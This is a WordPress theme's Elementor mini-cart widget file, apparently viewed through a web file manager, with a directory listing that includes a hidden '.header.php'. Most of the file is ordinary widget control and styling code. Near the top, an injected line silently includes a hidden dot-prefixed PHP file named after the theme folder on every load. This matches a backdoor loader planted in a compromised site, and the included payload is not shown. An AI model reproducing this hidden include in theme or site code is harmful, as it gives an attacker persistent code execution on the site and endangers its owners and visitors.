PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
besa
/
inc
/
vendors
/
elementor
/
elements
/
header
<?php if ( ! defined( 'ABSPATH' ) || function_exists('Besa_Elementor_Mini_Cart') ) { exit; // Exit if accessed directly. } use Elementor\Controls_Manager; use Elementor\Group_Control_Border; if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class Besa_Elementor_Mini_Cart extends Besa_Elementor_Widget_Base { protected $nav_menu_index = 1; public function get_name() { return 'besa-mini-cart'; } public function get_title() { return esc_html__('Besa Mini Cart', 'besa'); } public function get_icon() { return 'eicon-cart-medium'; } protected function get_html_wrapper_class() { return 'w-auto elementor-widget-' . $this->get_name(); } protected function _register_controls() { $this->start_controls_section( 'section_layout', [ 'label' => esc_html__('Mini Cart', 'besa'), ] ); $this->add_control( 'heading_mini_cart', [ 'label' => esc_html__('Mini Cart', 'besa'), 'type' => Controls_Manager::HEADING, ] ); $this->add_control( 'icon_mini_cart', [ 'label' => esc_html__('Icon', 'besa'), 'type' => Controls_Manager::ICONS, 'default' => [ 'value' => 'tb-icon tb-icon-cart', 'library' => 'tbay-custom', ], ] ); $this->add_control( 'icon_mini_cart_size', [ 'label' => esc_html__('Font Size Icon', 'besa'), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 10, 'max' => 80, ], ], 'selectors' => [ '{{WRAPPER}} .cart-dropdown .cart-icon i' => 'font-size: {{SIZE}}{{UNIT}} !important;', ], ] ); $this->add_control( 'show_title_mini_cart', [ 'label' => esc_html__('Display Title "Mini-Cart"', 'besa'), 'type' => Controls_Manager::SWITCHER, 'default' => '' ] ); $this->add_control( 'title_mini_cart', [ 'label' => esc_html__('"Mini-Cart" Title', 'besa'), 'type' => Controls_Manager::TEXT, 'default' => esc_html__('Shopping cart', 'besa'), 'condition' => [ 'show_title_mini_cart' => 'yes' ] ] ); $this->add_control( 'price_mini_cart', [ 'label' => esc_html__('Show "Mini-Cart" Price', 'besa'), 'type' => Controls_Manager::SWITCHER, 'default' => '', 'separator' => 'after', ] ); $this->end_controls_section(); $this->register_section_style_icon(); $this->register_section_style_text(); $this->register_section_style_total(); $this->register_section_style_popup_cart(); } protected function register_section_style_icon() { $this->start_controls_section( 'section_style_icon', [ 'label' => esc_html__('Style Icon', 'besa'), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->start_controls_tabs('tabs_style_icon'); $this->start_controls_tab( 'tab_icon_normal', [ 'label' => esc_html__('Normal', 'besa'), ] ); $this->add_control( 'color_icon', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .cart-dropdown .cart-icon' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'bg_icon', [ 'label' => esc_html__('Background Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .cart-dropdown .cart-icon' => 'background-color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'tab_icon_hover', [ 'label' => esc_html__('Hover', 'besa'), ] ); $this->add_control( 'hover_color_icon', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .cart-dropdown .cart-icon:hover' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'hover_bg_icon', [ 'label' => esc_html__('Background Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .cart-dropdown .cart-icon:hover' => 'background-color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); } protected function register_section_style_text() { $this->start_controls_section( 'section_style_text', [ 'label' => esc_html__('Style Text', 'besa'), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'show_title_mini_cart' => 'yes' ] ] ); $this->add_control( 'margin_text_cart', [ 'label' => esc_html__('Margin Text Cart', 'besa'), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px' ], 'selectors' => [ '{{WRAPPER}} .cart-dropdown .text-cart' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->start_controls_tabs('tabs_style_text'); $this->start_controls_tab( 'tab_text_normal', [ 'label' => esc_html__('Normal', 'besa'), ] ); $this->add_control( 'color_text', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .cart-dropdown .text-cart' => 'color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'tab_text_hover', [ 'label' => esc_html__('Hover', 'besa'), ] ); $this->add_control( 'hover_color_text', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .cart-dropdown .text-cart:hover' => 'color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); } protected function register_section_style_popup_cart() { $this->start_controls_section( 'section_style_popup_cart', [ 'label' => esc_html__('Style Popup', 'besa'), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'border_popup', 'selector' => '{{WRAPPER}} .woocommerce .cart-popup.show .dropdown-menu, .cart-popup.show .dropdown-menu', ] ); $this->add_control( 'color_close_popup', [ 'label' => esc_html__('Color Close Popup', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .tbay-topcart .offcanvas-close' => 'color: {{VALUE}}', ], ] ); $this->end_controls_section(); } private function register_section_style_total() { $this->start_controls_section( 'section_style_total', [ 'label' => esc_html__('Style Total', 'besa'), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'number_size', [ 'label' => esc_html__('Font Size', 'besa'), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 10, 'max' => 20, ], ], 'default' => [ 'unit' => 'px', 'size' => 14 ], 'size_units' => ['px'], 'selectors' => [ '{{WRAPPER}} .cart-icon span.mini-cart-items' => 'font-size: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'number_font-weight', [ 'label' => esc_html__('Font Weight', 'besa'), 'type' => Controls_Manager::SELECT, 'options' => [ '100' => '100', '200' => '200', '300' => '300', '400' => '400', '500' => '500', '600' => '600', '700' => '700', ], 'default' => '700', 'selectors' => [ '{{WRAPPER}} .cart-icon span.mini-cart-items' => 'font-weight: {{VALUE}};', ], ] ); $this->add_control( 'color_number', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .cart-icon span.mini-cart-items' => 'color: {{VALUE}}', '{{WRAPPER}} .cart-icon span.mini-cart-items' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'bg_total', [ 'label' => esc_html__('Background', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .cart-icon span.mini-cart-items' => 'background: {{VALUE}}', '{{WRAPPER}} .cart-icon span.mini-cart-items' => 'background: {{VALUE}}', ], ] ); $this->end_controls_section(); } protected function render_woocommerce_mini_cart() { $settings = $this->get_settings_for_display(); extract($settings); $args = [ 'icon_mini_cart' => $icon_mini_cart, 'show_title_mini_cart' => $show_title_mini_cart, 'title_mini_cart' => $title_mini_cart, 'price_mini_cart' => $price_mini_cart, ]; besa_tbay_get_woocommerce_mini_cart($args); } } $widgets_manager->register_widget_type(new Besa_Elementor_Mini_Cart());
[+]
..
[-] custom-language.php
[edit]
[-] account.php
[edit]
[-] nav-menu.php
[edit]
[-] banner-close.php
[edit]
[-] site-logo.php
[edit]
[-] .header.php
[edit]
[-] compare.php
[edit]
[-] mini-cart.php
[edit]
[-] search-form.php
[edit]
[-] currency.php
[edit]
[-] wishlist.php
[edit]